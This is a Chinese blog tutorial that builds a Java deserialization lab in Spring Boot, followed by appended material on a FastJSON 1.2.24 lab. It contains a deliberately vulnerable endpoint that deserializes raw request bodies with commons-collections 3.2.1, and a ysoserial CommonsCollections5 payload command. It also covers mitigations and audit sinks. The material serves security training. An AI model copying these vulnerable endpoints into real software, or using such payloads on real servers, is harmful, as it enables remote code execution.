搭建一个java反序列化靶场

本文探讨了Java反序列化漏洞的原理,通过实例展示了如何利用 CommonsCollections 漏洞进行payload构建,并提供了环境搭建、修复建议(如ObjectInputFilter和SerialKiller)、代码审计关键点以及修复措施。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x00 简介

java反序列化漏洞研究需要。

反序列化的过程中,会涉及一些接口类或者基类(举个例子简单的如:Map、List 和 Object)。应用也必须根据数据源,去判断选择哪一个具体的接口实现类。也就是说,如果黑客可以控制输入数据,黑客也就可以控制反序列化过程中,应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合,黑客就可以控制反序列化的调用过程,实现执行任意命令的功能。

0x01 环境搭建

环境:

java version "1.8.0_91" ; IDEA ULTIMATE 2019.3

考虑到springmvc项目配置略显繁琐,这里选择建立一个springboot项目。

IDEA  -- New Project -- Spring Initializr 

Next

Type 选择 Maven Project

 Next

选择 Web -- Spring Web

Next

Springboot项目就建好了。

修改pom.xml ,新增反序列化依赖 (下文会介绍为什么添加这个依赖)

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

打开 DemoApplication.java 查看:

package com.example.demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}

 需要修改的只有 DemoApplication.java 这个类:

package com.example.demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@SpringBootApplication
@Controller
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

    @ResponseBody
    @RequestMapping("/cc5")
    public String cc5Vuln(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        try {
            String a=objectInputStream.readObject().toString();
            System.out.println(a);
        }catch (Exception e){
            System.out.println(e); //cc3 java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
        }
        return "Hello,World";      
    }

    @ResponseBody
    @RequestMapping("/demo")
    public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        return "This is OK Demo!";
    }
}

 为什么不用CC3链呢,因为 CC3链在JDK8u71以上版本无法使用。产生报错:

cc3 java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet

我的java version "1.8.0_91",参考 ref: An Error Of "java -cp ysoserial-master.jar ysoserial.exploit.RMIRegistryExploit " · Issue #77 · frohoff/ysoserial · GitHub

0x02 payload 构建

payload生成:

java -jar ysoserial-0.0.5-all.jar CommonsCollections5 calc > a.ser

 burp 发包:

如果不添加 commons-collections 依赖,运行会报错:

java.lang.ClassNotFoundException: org.apache.commons.collections.keyvalue.TiedMapEntry

可见在反序列化的时候要调用这个jar。

0x03 修复与防御

1.使用ObjectInputFilter来校验反序列化的类


Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承java.io.ObjectInputFilter类重写checkInput方法实现自定义的过滤器,并使用ObjectInputStream对象的setObjectInputFilter设置过滤器来实现反序列化类白/黑名单控制。

ref : 《Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS)》

2.使用 SerialKiller.jar

GitHub - ikkisoft/SerialKiller: Look-Ahead Java Deserialization Library

将 ObjectInputStream.readObject()改为 SerialKiller.readObject()。

SerialKiller.conf为配置文件,可以指定白名单,仅仅对白名单中的类反序列化。
SerialKiller.java为ObjectInputStream的子类,覆盖了resolveClass方法(此会被readObject()方法调用),加入了类名检查,确保反序列化的是安全的类。

0x04 代码审计

涉及到以下函数,则可能存在java反序列化:

readExternal 
objectInputStream.readObject()
objectInputStream.readUnshared()
xmlDecoder.readObject()
xStream.fromXML()
objectMapper.readValue()
JSON.parseObject()

......

0x05 后记

1.如果运行时报错:

java.io.StreamCorruptedException: invalid stream header: xxxx

应该使用序列化方式获取二进制流,不能直接传入文本。

https://www.cnblogs.com/gaoquanquan/p/11276114.html

2. IDEA 配置 Maven

Settings -- Maven -- Maven home directory : (填写本地的Maven路径)

3. 如果你用的是IDEA社区版,需要安装一个插件

​​​​​​​IDEA社区版怎么配置Spring boot项目?_idea没有创建springboot的选项怎么设置_普通网友的博客-优快云博客

靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。
### 关于 FastJSON 序列化漏洞的复现靶场或测试环境 FastJSON 是阿里巴巴开源的一个高性能 JSON 解析库,在 Java 开发中广泛使用。然而,由于其设计上的缺陷,FastJSON 曾多次暴露出严重的反序列化漏洞,这些漏洞可能导致远程代码执行 (RCE) 或其他安全风险。 #### 使用 Docker 构建 FastJSON 漏洞靶场 可以通过 `Docker` 和 `VulHub` 提供的镜像快速搭建 FastJSON 的漏洞测试环境。以下是具体的实现方式: 1. **基于 VulHub 的 FastJSON 靶场** 参考引用提到 Kali 中通过 Docker 启动了 vulhub 的 fastjson 1.2.24 漏洞靶场环境[^2]。可以按照以下步骤操作: ```bash docker pull vulhub/fastjson:1.2.24 docker run --rm -d -p 8080:8080 --name fastjson-vuln vulhub/fastjson:1.2.24 ``` 上述命令会拉取并启动一个包含 FastJSON 1.2.24 版本漏洞的容器服务,默认监听端口为 `8080`。访问该服务即可进行漏洞验证。 2. **自定义构建靶场** 如果需要更灵活的控制或者特定版本的 FastJSON 测试环境,则可以选择手动创建项目文件夹,并编写简单的 Spring Boot 工程来集成指定版本的 FastJSON 库。例如: 创建 Maven 项目的 `pom.xml` 文件如下所示: ```xml <dependencies> <!-- 引入 FastJSON --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <!-- 引入 Web 支持 --> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies> ``` 编写控制器类用于接收 POST 请求数据并通过 FastJSON 进行解析处理: ```java @RestController public class TestController { @PostMapping("/deserialize") public String deserialize(@RequestBody String jsonStr) throws Exception { Object obj = com.alibaba.fastjson.JSON.parseObject(jsonStr, Object.class); return "Deserialized object: " + obj.toString(); } } ``` 将此工程打包成可运行 JAR 并部署到服务器上完成本地化的漏洞研究平台建设工作。 #### PHP 反序列化学习经验分享 虽然问题是针对 FastJSON 的,但如果感兴趣了解另一种语言下的反序列化攻击机制的话,也可以参考 PHP 方面的知识点。比如有提到过重庆橙子科技提供的 php 反序列化练习场景说明文档指出当遇到私有属性命名冲突情况时需调整 URL 参数编码形式才能成功触发预期效果[^3]。 #### JAVA RMI 技术简介及其潜在威胁分析 另外还提到了有关 JAVA Remote Method Invocation 即远程过程调用相关内容介绍部分讲述了它的工作原理以及可能存在的安全隐患等问题所在之处[^4]。不过这与当前讨论主题关系不大所以不再展开细说。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值